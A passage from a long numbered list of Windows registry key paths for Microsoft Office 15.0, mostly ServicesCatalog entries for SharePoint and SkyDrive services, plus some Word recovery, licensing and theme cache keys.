  1463. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SortOrder",
  1464. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SupportsMultiple",
  1465. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\CapabilitiesMetadata",
  1466. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Description",
  1467. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Name",
  1468. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceId",
  1469. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceUrl",
  1470. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata",
  1471. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\KeyTip",
  1472. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\Type",
  1473. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT",
  1474. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Capabilities",
  1475. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ConnectMechanism",
  1476. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsManaged",
  1477. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsRemovable",
  1478. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceOwner",
  1479. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SortOrder",
  1480. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SupportsMultiple",
  1481. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\CapabilitiesMetadata",
  1482. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Description",
  1483. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Name",
  1484. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceId",
  1485. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceUrl",
  1486. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata",
  1487. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\DefaultFolderRelativePath",
  1488. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\KeyTip",
  1489. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\Type",
  1490. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails",
  1491. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url16x16",
  1492. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url32x32",
  1493. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url48x48",
  1494. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP",
  1495. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Capabilities",
  1496. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ConnectMechanism",
  1497. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsManaged",
  1498. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsRemovable",
  1499. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceOwner",
  1500. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SortOrder",
  1501. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SupportsMultiple",
  1502. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1503. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Description",
  1504. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Name",
  1505. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceId",
  1506. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceUrl",
  1507. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata",
  1508. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1509. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\Type",
  1510. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails",
  1511. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1512. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1513. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1514. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER",
  1515. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Capabilities",
  1516. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ConnectMechanism",
  1517. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsManaged",
  1518. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsRemovable",
  1519. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceOwner",
  1520. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SortOrder",
  1521. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SupportsMultiple",
  1522. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\CapabilitiesMetadata",
  1523. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Description",
  1524. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Name",
  1525. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceId",
  1526. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceUrl",
  1527. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata",
  1528. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\HideIfEmpty",
  1529. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\KeyTip",
  1530. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\Type",
  1531. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails",
  1532. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url16x16",
  1533. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url32x32",
  1534. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url48x48",
  1535. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE",
  1536. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Capabilities",
  1537. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ConnectMechanism",
  1538. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsManaged",
  1539. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsRemovable",
  1540. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceOwner",
  1541. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SortOrder",
  1542. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SupportsMultiple",
  1543. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\CapabilitiesMetadata",
  1544. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Description",
  1545. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Name",
  1546. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceId",
  1547. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceUrl",
  1548. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata",
  1549. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
  1550. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
  1551. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\KeyTip",
  1552. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\RegularExpression",
  1553. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\Type",
  1554. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails",
  1555. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url16x16",
  1556. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url32x32",
  1557. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url48x48",
  1558. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT",
  1559. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Capabilities",
  1560. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ConnectMechanism",
  1561. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsManaged",
  1562. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsRemovable",
  1563. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceOwner",
  1564. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SortOrder",
  1565. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SupportsMultiple",
  1566. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Description",
  1567. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Name",
  1568. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceId",
  1569. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceUrl",
  1570. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails",
  1571. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url16x16",
  1572. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url32x32",
  1573. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url48x48",
  1574. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE",
  1575. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Capabilities",
  1576. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ConnectMechanism",
  1577. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsManaged",
  1578. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsRemovable",
  1579. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceOwner",
  1580. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SortOrder",
  1581. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SupportsMultiple",
  1582. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Description",
  1583. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Name",
  1584. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceId",
  1585. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceUrl",
  1586. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails",
  1587. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url16x16",
  1588. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url32x32",
  1589. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url48x48",
  1590. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE",
  1591. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Capabilities",
  1592. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ConnectMechanism",
  1593. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsManaged",
  1594. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsRemovable",
  1595. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceOwner",
  1596. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SortOrder",
  1597. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SupportsMultiple",
  1598. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\CapabilitiesMetadata",
  1599. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Description",
  1600. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Name",
  1601. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceId",
  1602. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceUrl",
  1603. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata",
  1604. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
  1605. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
  1606. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\KeyTip",
  1607. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\RegularExpression",
  1608. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\Type",
  1609. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails",
  1610. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url16x16",
  1611. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url32x32",
  1612. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url48x48",
  1613. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery",
  1614. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\158C803",
  1615. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\158C803\\158C803",
  1616. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Licensing\\09D07EFC505F4D9CBFD5ACE3217F6654",
  1617. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\General\\LastAutoSavePurgeTime",
  1618. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\158C803\\1671630",
  1619. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Security\\Trusted Documents\\LastPurgeTime",
  1620. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090434",
  1621. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457503",
  1622. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033917",
  1623. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457510",
  1624. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001105",
  1625. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033919",
  1626. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457464",
  1627. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457475",
